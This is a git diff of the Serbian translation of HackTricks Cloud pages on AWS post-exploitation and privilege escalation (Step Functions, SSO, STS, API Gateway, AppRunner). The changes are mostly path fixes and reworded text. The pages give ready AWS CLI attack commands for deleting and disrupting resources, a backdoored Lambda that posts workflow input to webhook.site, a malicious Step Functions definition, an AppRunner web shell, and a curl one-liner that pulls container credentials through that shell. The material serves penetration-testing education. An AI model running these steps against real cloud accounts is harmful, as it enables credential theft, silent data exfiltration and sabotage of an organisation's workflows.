@@ # AWS - SSO & identitystore Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SSO & identitystore Za više informacija pogledajte: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -Ove dozvole se mogu koristiti za ometanje dozvola: +Ove dozvole mogu se koristiti za ometanje prava pristupa: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md deleted file mode 100644 index e3757bc32..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ /dev/null @@ -1,185 +0,0 @@ -# AWS - Step Functions Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Za više informacija o ovoj AWS usluzi, proverite: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### `states:RevealSecrets` - -Ova dozvola omogućava **otkrivanje tajnih podataka unutar izvršenja**. Za to je potrebno postaviti nivo inspekcije na TRACE i parametar revealSecrets na true. - -
- -### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` - -Napadač sa ovim dozvolama mogao bi trajno da obriše mašine stanja, njihove verzije i alias-e. To može ometati kritične radne tokove, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih mašina stanja. Pored toga, to bi omogućilo napadaču da prikrije tragove korišćene, ometa forenzičke istrage i potencijalno osakati operacije uklanjanjem suštinskih automatizovanih procesa i konfiguracija stanja. - -> [!NOTE] -> -> - Brisanjem mašine stanja takođe brišete sve njene povezane verzije i alias-e. -> - Brisanjem alias-a mašine stanja ne brišete verzije mašine stanja koje se odnose na ovaj alias. -> - Nije moguće obrisati verziju mašine stanja koja je trenutno referencirana od strane jednog ili više alias-a. -```bash -# Delete state machine -aws stepfunctions delete-state-machine --state-machine-arn -# Delete state machine version -aws stepfunctions delete-state-machine-version --state-machine-version-arn -# Delete state machine alias -aws stepfunctions delete-state-machine-alias --state-machine-alias-arn -``` -- **Potencijalni Uticaj**: Poremećaj kritičnih radnih tokova, gubitak podataka i operativno vreme zastoja. - -### `states:UpdateMapRun` - -Napadač sa ovom dozvolom mogao bi da manipuliše konfiguracijom neuspeha Map Run-a i paralelnim podešavanjima, što bi mu omogućilo da poveća ili smanji maksimalan broj dozvoljenih izvršenja radnih tokova, direktno utičući na performanse usluge. Pored toga, napadač bi mogao da menja tolerisani procenat neuspeha i broj, smanjujući ovu vrednost na 0, tako da bi svaki put kada stavka ne uspe, ceo map run ne uspeo, direktno utičući na izvršenje stanja mašine i potencijalno ometajući kritične radne tokove. -```bash -aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] -``` -- **Potencijalni uticaj**: Smanjenje performansi i prekid kritičnih radnih tokova. - -### `states:StopExecution` - -Napadač sa ovom dozvolom mogao bi da zaustavi izvršenje bilo koje mašine stanja, ometajući tekuće radne tokove i procese. To bi moglo dovesti do nepotpunih transakcija, obustavljenih poslovnih operacija i potencijalne korupcije podataka. - -> [!WARNING] -> Ova akcija nije podržana od strane **express state machines**. -```bash -aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] -``` -- **Potencijalni uticaj**: Poremećaj tekućih radnih tokova, operativno vreme zastoja i potencijalna korupcija podataka. - -### `states:TagResource`, `states:UntagResource` - -Napadač bi mogao da doda, izmeni ili ukloni oznake sa resursa Step Functions, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama. -```bash -aws stepfunctions tag-resource --resource-arn --tags Key=,Value= -aws stepfunctions untag-resource --resource-arn --tag-keys -``` -**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama. - ---- - -### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` - -Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "AllowUpdateStateMachine", -"Effect": "Allow", -"Action": "states:UpdateStateMachine", -"Resource": "*" -}, -{ -"Sid": "AllowUpdateFunctionCode", -"Effect": "Allow", -"Action": "lambda:UpdateFunctionCode", -"Resource": "*" -} -] -} -``` -...može sprovesti **napad post-ekspolatacije visokog uticaja i prikrivenosti** kombinovanjem backdooring-a Lambda sa manipulacijom logikom Step Function. - -Ovaj scenario pretpostavlja da žrtva koristi **AWS Step Functions za orkestraciju radnih tokova koji obrađuju osetljive ulaze**, kao što su akreditivi, tokeni ili PII. - -Primer poziva žrtve: -```bash -aws stepfunctions start-execution \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim -``` -Ako je Step Function konfigurisana da poziva Lambda kao `LegitBusinessLogic`, napadač može nastaviti sa **dve prikrivene varijante napada**: - ---- - -#### Ažurirana lambda funkcija - -Napadač menja kod Lambda funkcije koja se već koristi od strane Step Function (`LegitBusinessLogic`) kako bi tiho eksfiltrirao ulazne podatke. -```python -# send_to_attacker.py -import requests - -def lambda_handler(event, context): -requests.post("https://webhook.site//exfil", json=event) -return {"status": "exfiltrated"} -``` - -```bash -zip function.zip send_to_attacker.py - -aws lambda update-function-code \ ---function-name LegitBusinessLogic \ ---zip-file fileb://function.zip -profile attacker -``` ---- - -#### Dodajte Zloćudnu Državu u Step Funkciju - -Alternativno, napadač može da ubaci **državu eksfiltracije** na početak radnog toka ažuriranjem definicije Step Funkcije. -```malicious_state_definition.json -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "OriginalState", -"States": { -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", -"End": true -} -} -} - -``` - -```bash -aws stepfunctions update-state-machine \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---definition file://malicious_state_definition.json --profile attacker -``` -Napadač može još diskretnije ažurirati definiciju stanja na nešto poput ovoga -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "ExfiltrateSecrets", -"States": { -"ExfiltrateSecrets": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", -"InputPath": "$", -"ResultPath": "$.exfil", -"Next": "OriginalState" -}, -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", -"End": true -} -} -} -gde žrtva neće primetiti razliku - ---- - -### Podešavanje žrtve (Kontekst za Eksploataciju) - -- Step Function (`LegitStateMachine`) se koristi za obradu osetljivih korisničkih podataka. -- Poziva jednu ili više Lambda funkcija kao što je `LegitBusinessLogic`. - ---- - -**Potencijalni Uticaj**: -- Tiha eksfiltracija osetljivih podataka uključujući tajne, akreditive, API ključeve i PII. -- Nema vidljivih grešaka ili neuspeha u izvršenju radnog toka. -- Teško je otkriti bez revizije Lambda koda ili tragova izvršenja. -- Omogućava dugoročnu postojanost ako se bekdor zadrži u kodu ili ASL logici. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md new file mode 100644 index 000000000..4e7929a8d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md @@ -0,0 +1,186 @@ +# AWS - Step Functions Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Za više informacija o ovoj AWS usluzi, pogledajte: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### `states:RevealSecrets` + +Ovo dopuštenje omogućava **otkrivanje tajnih podataka unutar execution-a**. Da bi se to postiglo, potrebno je podesiti Inspection level na TRACE i revealSecrets parametar na true. + +
+ +### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` + +Napadač sa ovim privilegijama mogao bi trajno obrisati state machines, njihove versions i aliases. Ovo može poremetiti kritične tokove rada, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih state machines. Pored toga, omogućilo bi napadaču da prikrije tragove, ometa forenzičke istrage i potencijalno paralizuje operacije uklanjanjem ključnih automatizovanih procesa i konfiguracija stanja. + +> [!NOTE] +> +> - Deleting a state machine you also delete all its associated versions and aliases. +> - Deleting a state machine alias you do not delete the state machine versions referecing this alias. +> - It is not possible to delete a state machine version currently referenced by one o more aliases. +```bash +# Delete state machine +aws stepfunctions delete-state-machine --state-machine-arn +# Delete state machine version +aws stepfunctions delete-state-machine-version --state-machine-version-arn +# Delete state machine alias +aws stepfunctions delete-state-machine-alias --state-machine-alias-arn +``` +- **Potencijalni uticaj**: Poremećaj kritičnih tokova rada, gubitak podataka i operativni zastoj. + +### `states:UpdateMapRun` + +Napadač sa ovom dozvolom mogao bi да manipuliše Map Run konfiguracijom za greške i paralelnim podešavanjem, povećавајући или smanjuјући maksimalan broj dozvoljenih izvršavanja podređenih tokova rada, što direktno utiče на performanse servisa. Pored toga, нападач би могао да мења проценат и број толерисаних грешака, смањујући ову вредност на 0, тако да сваки пут када једна ставка zakaže, ceo map run би paо, директно утичући на state machine извршавање и потенцијално ометајући критичне токове рада. +```bash +aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] +``` +- **Potencijalni uticaj**: Pogoršanje performansi i prekid kritičnih radnih tokova. + +### `states:StopExecution` + +Napadač sa ovom dozvolom može zaustaviti izvršavanje bilo koje state machine, ometajući tekuće tokove rada i procese. To može dovesti do nepotpunih transakcija, zaustavljenih poslovnih aktivnosti i potencijalne korupcije podataka. + +> [!WARNING] +> Ova akcija nije podržana za **express state machines**. +```bash +aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] +``` +- **Potencijalni uticaj**: Prekid tekućih tokova rada, operativni zastoji i potencijalno oštećenje podataka. + +### `states:TagResource`, `states:UntagResource` + +Napadač može dodati, izmeniti ili ukloniti tagove sa Step Functions resursa, narušavajući raspodelu troškova organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tagovima. +```bash +aws stepfunctions tag-resource --resource-arn --tags Key=,Value= +aws stepfunctions untag-resource --resource-arn --tag-keys +``` +**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na tagovima. + +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...može izvesti **high-impact and stealthy post-exploitation attack** kombinovanjem Lambda backdooring sa Step Function logic manipulation. + +Ovaj scenarij pretpostavlja da žrtva koristi **AWS Step Functions to orchestrate workflows that process sensitive input**, kao što su credentials, tokens, ili PII. + +Primer poziva žrtve: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +Ako je Step Function konfigurisana da pozove Lambda kao `LegitBusinessLogic`, napadač može nastaviti sa **dve prikrivene varijante napada**: + +--- + +#### Ažurirana Lambda funkcija + +Napadač menja kod Lambda funkcije koju Step Function već koristi (`LegitBusinessLogic`) kako bi tiho exfiltrate ulazne podatke. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Dodajte zlonamerno stanje u Step Function + +Alternativno, napadač može ubaciti **exfiltration state** na početak toka rada ažuriranjem definicije Step Function. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +Napadač može još prikrivenije da ažurira definiciju stanja u nešto poput ovoga + +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +gde žrtva neće primetiti razliku + +--- + +### Podešavanje žrtve (Kontekst za eksploataciju) + +- Step Function (`LegitStateMachine`) se koristi za obradu osetljivih korisničkih unosa. +- Poziva jednu ili više Lambda funkcija kao što je `LegitBusinessLogic`. + +--- + +**Potencijalni uticaj**: +- Tihi exfiltration osetljivih podataka uključujući secrets, credentials, API keys i PII. +- Nema vidljivih grešaka ili neuspeha pri izvršavanju workflow-a. +- Teško otkriti bez revizije Lambda koda ili execution traces. +- Omogućava long-term persistence ako backdoor ostane u kodu ili u ASL logici. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md similarity index 67% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md index ed46f1e00..ea78f1f1e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md @@ -1,22 +1,23 @@ # AWS - STS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS Za više informacija: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} -### Od IAM kredencijala do konzole +### From IAM Creds to Console -Ako ste uspeli da dobijete neke IAM kredencijale, možda će vas zanimati **pristup web konzoli** koristeći sledeće alate.\ Napomena: korisnik/rola mora imati dozvolu **`sts:GetFederationToken`**. +Ako ste uspeli da dobijete neke IAM credentials možda ćete želeti da **pristupite web console** koristeći sledeće alate.\ +Napomena: korisnik/rola mora imati permisiju **`sts:GetFederationToken`**. #### Prilagođeni skript -Sledeći skript će koristiti podrazumevani profil i podrazumevanu AWS lokaciju (not gov and not cn) kako bi vam dao potpisani URL koji možete koristiti za prijavu u web konzolu: +Sledeći skript će koristiti default profile i podrazumevanu AWS lokaciju (not gov and not cn) da vam da signed URL koji možete koristiti za login u web console: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -63,7 +64,7 @@ pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` > [!WARNING] -> Obezbedite da IAM korisnik ima dozvolu `sts:GetFederationToken`, ili obezbedite rolu za preuzimanje. +> Uverite se da IAM korisnik ima dozvolu `sts:GetFederationToken`, ili obezbedite ulogu koju može da preuzme. #### aws-vault @@ -74,11 +75,11 @@ aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` > [!NOTE] -> Takođe možete koristiti **aws-vault** da biste dobili **browser console session** +> Možete takođe koristiti **aws-vault** da dobijete **sesiju konzole preglednika** -### **Zaobiđite ograničenja User-Agent-a u Pythonu** +### **Zaobilaženje ograničenja User-Agent iz Pythona** -Ako postoji **restriction to perform certain actions based on the user agent** used (npr. ograničavanje korišćenja python boto3 library na osnovu user agent-a) moguće je upotrebiti prethodnu tehniku da **connect to the web console via a browser**, ili možete direktno **modify the boto3 user-agent** tako što ćete: +Ako postoji **ograničenje za izvršavanje određenih akcija zasnovano na korišćenom user agent-u** (npr. ograničavanje upotrebe python boto3 library na osnovu user agent-a) moguće je iskoristiti prethodnu tehniku da se **povežete na web konzolu preko preglednika**, ili možete direktno **izmeniti boto3 user-agent** tako što ćete: ```bash # Shared by ex16x41 # Create a client @@ -93,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre ``` ### **`sts:GetFederationToken`** -Sa ovom dozvolom moguće je kreirati federisani identitet za korisnika koji ga izvršava, ograničen na dozvole koje taj korisnik poseduje. +Sa ovom dozvolom moguće je kreirati federisani identitet za korisnika koji je izvršava, ograničeno na dozvole koje taj korisnik ima. ```bash aws sts get-federation-token --name ``` -Token koji vraća sts:GetFederationToken pripada federisanom identitetu pozivajućeg korisnika, ali sa ograničenim dozvolama. Čak i ako korisnik ima administratorska prava, određene radnje kao što su listanje IAM korisnika ili prikačivanje politika ne mogu se izvršiti pomoću federisanog tokena. +Token koji vraća sts:GetFederationToken pripada federisanom identitetu pozivajućeg korisnika, ali sa ograničenim dozvolama. Čak i ako korisnik ima administratorska prava, određene akcije, kao što su listanje IAM korisnika ili pridruživanje politika, ne mogu se izvršiti putem federisanog tokena. -Pored toga, ova metoda je donekle prikrivenija, jer se federisani korisnik ne pojavljuje u AWS Portalu; može se uočiti samo kroz CloudTrail logove ili alate za nadzor. +Pored toga, ova metoda je donekle prikrivenija, pošto federisani korisnik ne pojavljuje u AWS Portalu, može se posmatrati samo kroz CloudTrail logove ili alate za nadzor. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md deleted file mode 100644 index c23ad7fbd..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ /dev/null @@ -1,13 +0,0 @@ -# AWS - VPN Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## VPN - -Za više informacija: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md new file mode 100644 index 000000000..52c0e9fc2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md @@ -0,0 +1,13 @@ +# AWS - VPN Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## VPN + +Za više informacija: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md similarity index 57% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md index 90c661da6..3f76832fa 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md @@ -1,48 +1,48 @@ # AWS - Apigateway Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Apigateway Za više informacija pogledajte: {{#ref}} -../aws-services/aws-api-gateway-enum.md +../../aws-services/aws-api-gateway-enum.md {{#endref}} ### `apigateway:POST` -Sa ovom dozvolom možete generisati API ključeve za konfigurirane API-je (po regionu). +Sa ovom dozvolom možete generisati API ključeve za konfigurisane API-je (po regionu). ```bash aws --region apigateway create-api-key ``` -**Potencijalni uticaj:** Ne možete izvršiti eskalaciju privilegija ovom tehnikom, ali možete dobiti pristup osetljivim informacijama. +**Potential Impact:** Ne možete izvesti privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama. ### `apigateway:GET` -Sa ovom dozvolom možete dobiti generisane API ključeve API-ja koji su konfigurisani (po regionu). +Sa ovom dozvolom možete dohvatiti generisane API keys konfigurisanih API-ja (po regionu). ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**Potencijalni uticaj:** Ne možete izvršiti privilegiju sa ovom tehnikom, ali možete dobiti pristup osetljivim informacijama. +**Potencijalni uticaj:** Ne možete izvršiti privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -Sa ovim dozvolama moguće je izmeniti politiku resursa API-ja kako biste sebi omogućili pristup da ga pozovete i zloupotrebite potencijalni pristup koji API gateway može imati (kao što je pozivanje ranjivog lambda). +Sa ovim dozvolama moguće je izmeniti politiku resursa API-ja kako biste sebi omogućili njegovo pozivanje i zloupotrebili potencijalni pristup koji API gateway može imati (npr. pozivanjem ranjivog lambda). ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` -**Potencijalni Uticaj:** Obično nećete moći da privesc direktno ovom tehnikom, ali možete dobiti pristup osetljivim informacijama. +**Potencijalni uticaj:** Obično nećete moći direktno da privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` -> [!NAPOMENA] +> [!NOTE] > Potrebno testiranje -Napadač sa dozvolama `apigateway:PutIntegration`, `apigateway:CreateDeployment` i `iam:PassRole` može **dodati novu integraciju postojećem API Gateway REST API-ju sa Lambda funkcijom koja ima pridruženu IAM ulogu**. Napadač može zatim **pokrenuti Lambda funkciju da izvrši proizvoljan kod i potencijalno dobije pristup resursima povezanim sa IAM ulogom**. +Napadač sa permisijama `apigateway:PutIntegration`, `apigateway:CreateDeployment`, i `iam:PassRole` može **dodati novu integraciju postojećem API Gateway REST API-ju sa Lambda funkcijom koja ima pridružen IAM role**. Napadač zatim može **pokrenuti Lambda funkciju da izvrši proizvoljan kod i potencijalno stekne pristup resursima povezanим sa IAM role**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potencijalni uticaj**: Pristup resursima povezanim sa IAM ulogom Lambda funkcije. +**Potencijalni uticaj**: Pristup resursima povezanim sa IAM role Lambda funkcije. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` -> [!NAPOMENA] +> [!NOTE] > Potrebno testiranje -Napadač sa dozvolama `apigateway:UpdateAuthorizer` i `apigateway:CreateDeployment` može **modifikovati postojeći API Gateway autorizator** kako bi zaobišao bezbednosne provere ili izvršio proizvoljan kod kada se izvrše API zahtevi. +Napadač sa dozvolama `apigateway:UpdateAuthorizer` i `apigateway:CreateDeployment` može **izmeniti postojeći API Gateway authorizer** da zaobiđe bezbednosne provere ili da izvrši proizvoljan kod kada se prave API zahtevi. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -75,16 +75,16 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potencijalni uticaj**: Obilaženje bezbednosnih provera, neovlašćen pristup API resursima. +**Mogući uticaj**: Zaobilaženje bezbednosnih provera, neautorizovan pristup API resursima. ### `apigateway:UpdateVpcLink` -> [!NAPOMENA] +> [!NOTE] > Potrebno testiranje -Napadač sa dozvolom `apigateway:UpdateVpcLink` može **modifikovati postojeći VPC Link da upućuje na drugi Network Load Balancer, potencijalno preusmeravajući privatni API saobraćaj na neovlašćene ili zlonamerne resurse**. +Napadač sa dozvolom `apigateway:UpdateVpcLink` može **izmeniti postojeći VPC Link tako da pokazuje na drugačiji Network Load Balancer, potencijalno preusmeravajući privatni API saobraćaj ka neautorizovanim ili malicioznim resursima**. ```bash -bashCopy codeVPC_LINK_ID="your-vpc-link-id" +VPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" # Update the VPC Link @@ -92,4 +92,4 @@ aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op= ``` **Potencijalni uticaj**: Neovlašćen pristup privatnim API resursima, presretanje ili ometanje API saobraćaja. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md similarity index 62% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md index e10745b3b..b3e25c6bc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md @@ -1,14 +1,14 @@ # AWS - AppRunner Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AppRunner ### `iam:PassRole`, `apprunner:CreateService` -Napadač sa ovim dozvolama može da kreira AppRunner servis sa priloženom IAM ulogom, potencijalno eskalirajući privilegije pristupom kredencijalima uloge. +Napadač sa ovim dozvolama može kreirati AppRunner service sa pridruženom IAM roli, potencijalno eskalirajući privilegije pristupom akreditivima te role. -Napadač prvo kreira Dockerfile koji služi kao web shell za izvršavanje proizvoljnih komandi na AppRunner kontejneru. +Napadač prvo kreira Dockerfile koji služi kao web shell za izvršavanje proizvoljnih komandi na AppRunner containeru. ```Dockerfile FROM golang:1.24-bookworm WORKDIR /app @@ -40,8 +40,8 @@ RUN go mod init test && go build -o main . EXPOSE 3000 CMD ["./main"] ``` -Zatim, pošaljite ovu sliku u ECR repozitorijum. -Povećanje privilegija je moguće čak i ako žrtvin nalog nema dozvole za manipulaciju ECR-om, slanjem slike u javni repozitorijum u AWS nalogu koji kontroliše napadač. +Zatim otpremite ovu image u ECR repository. +Otpremanjem slike u javni repository u AWS nalogu kojim upravlja napadač, privilege escalation je moguć čak i ako nalog žrtve nema dozvole za upravljanje ECR-om. ```sh IMAGE_NAME=public.ecr.aws///:latest docker buildx build --platform linux/amd64 -t $IMAGE_NAME . @@ -49,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin docker push $IMAGE_NAME docker logout public.ecr.aws ``` -Zatim, napadač kreira AppRunner servis konfigurisano sa ovom web shell slikom i IAM rolom koju želi da iskoristi. +Zatim napadač kreira AppRunner service konfigurisan ovim web shell image-om i sa IAM Role koju želi da iskoristi. ```bash aws apprunner create-service \ --service-name malicious-service \ @@ -63,10 +63,10 @@ aws apprunner create-service \ --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ --query Service.ServiceUrl ``` -Nakon što sačekate da se kreacija servisa završi, koristite web shell da preuzmete kredencijale kontejnera i dobijete dozvole IAM Role povezane sa AppRunner. +Nakon što se kreiranje servisa završi, koristite web shell da preuzmete container credentials i dobijete dozvole IAM Role pridružene AppRunner-u. ```sh curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' ``` -**Potencijalni uticaj:** Direktno eskaliranje privilegija na bilo koju IAM ulogu koja može biti povezana sa AppRunner uslugama. +**Potencijalni uticaj:** Direktna eskalacija privilegija na bilo koju IAM ulogu koja se može prikačiti na AppRunner servise. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md deleted file mode 100644 index f4e2282e8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Chime Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -### chime:CreateApiKey - -TODO - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md 